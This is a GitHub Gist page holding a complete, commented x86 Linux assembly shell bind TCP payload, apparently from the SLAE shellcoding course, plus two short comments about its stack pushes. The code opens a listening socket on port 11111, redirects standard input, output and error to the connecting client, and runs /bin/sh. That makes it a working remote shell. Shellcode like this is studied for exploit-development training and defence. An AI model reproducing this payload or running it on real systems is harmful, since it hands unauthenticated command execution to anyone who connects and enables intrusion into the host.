Last active
October 7, 2023 10:00
-
-
Save geyslan/5174296 to your computer and use it in GitHub Desktop.
Shell Bind TCP in Assembly (Linux/x86) - forlife
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm | |
global _start | |
section .text | |
_start: | |
; syscalls (/usr/include/asm/unistd_32.h) | |
; socketcall numbers (/usr/include/linux/net.h) | |
; Creating the socket file descriptor | |
; int socket(int domain, int type, int protocol); | |
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) | |
mov eax, 102 ; syscall 102 - socketcall | |
mov ebx, 1 ; socketcall type (sys_socket 1) | |
; socket arguments (bits/socket.h, netinet/in.h) | |
push 0 ; IPPROTO_IP = 0 (int) | |
push 1 ; SOCK_STREAM = 1 (int) | |
push 2 ; AF_INET = 2 (int) | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interruption | |
mov edx, eax ; saving the returned socket file descriptor | |
; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened | |
; this problem happens in most shellcodes, even in the Metasploit, because they do not care | |
; about the reuse of the socket address | |
; int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen); | |
; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &socklen_t, socklen_t) | |
mov eax, 102 ; syscall 102 - socketcall | |
mov ebx, 14 ; socketcall type (sys_setsockopt 14) | |
push 4 ; sizeof socklen_t | |
push esp ; address of socklen_t - on the stack | |
push 2 ; SO_REUSEADDR = 2 | |
push 1 ; SOL_SOCKET = 1 | |
push edx ; sockfd | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interrupt | |
; Biding the socket with an address type | |
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); | |
; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16) | |
mov eax, 102 ; syscall 102 - socketcall | |
mov ebx, 2 ; socketcall type (sys_bind 2) | |
; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h) | |
push 0 ; INADDR_ANY = 0 (uint32_t) | |
push WORD 0x672b ; port in byte reverse order = 11111 (uint16_t) | |
push WORD 2 ; AF_INET = 2 (unsigned short int) | |
mov ecx, esp ; struct pointer | |
; bind arguments (sys/socket.h) | |
push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t) | |
push ecx ; sockaddr_in struct pointer (struct sockaddr *) | |
push edx ; socket fd (int) | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interrruption | |
; Preparing to listen the incoming connection (passive socket) | |
; int listen(int sockfd, int backlog); | |
; listen(sockfd, 0); | |
mov eax, 102 ; syscall 102 - socketcall | |
mov ebx, 4 ; socketcall type (sys_listen 4) | |
; listen arguments | |
push 0 ; backlog (connections queue size) | |
push edx ; socket fd | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interruption | |
; Accepting the incoming connection | |
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); | |
; accept(sockfd, NULL, NULL) | |
mov eax, 102 ; syscall 102 - socketcall | |
mov ebx, 5 ; socketcall type (sys_accept 5) | |
; accept arguments | |
push 0 ; NULL - we don't need to know anything about the client | |
push 0 ; NULL - we don't need to know anything about the client | |
push edx ; socket fd | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interruption | |
mov edx, eax ; saving the returned socket fd (client) | |
; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) | |
; int dup2(int oldfd, int newfd); | |
; dup2(clientfd, ...) | |
mov eax, 63 ; syscall 63 - dup2 | |
mov ebx, edx ; oldfd (client socket fd) | |
mov ecx, 0 ; stdin file descriptor | |
int 0x80 ; kernel interruption | |
mov eax, 63 | |
mov ecx, 1 ; stdout file descriptor | |
int 0x80 | |
mov eax, 63 | |
mov ecx, 2 ; stderr file descriptor | |
int 0x80 | |
; Finally, using execve to substitute the actual process with /bin/sh | |
; int execve(const char *filename, char *const argv[], char *const envp[]); | |
; exevcve("/bin/sh", NULL, NULL) | |
mov eax, 11 ; execve syscall | |
; execve string argument | |
push 0 ; null byte | |
push 0x68732f2f ; "//sh" | |
push 0x6e69622f ; "/bin" | |
mov ebx, esp ; ptr to "/bin//sh" string | |
mov ecx, 0 ; null ptr to argv | |
mov edx, 0 ; null ptr to envp | |
int 0x80 ; bingo |
@3dc0deR I'm very sure it's because otherwise the stack pointer would decrease by 4 instead of 2, if WORD
was omitted.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Can you tell me why you have simply pushed 2 on line 22 whereas for line 61 its a word ?
Simply pushing 2 on line 61 doesn't work.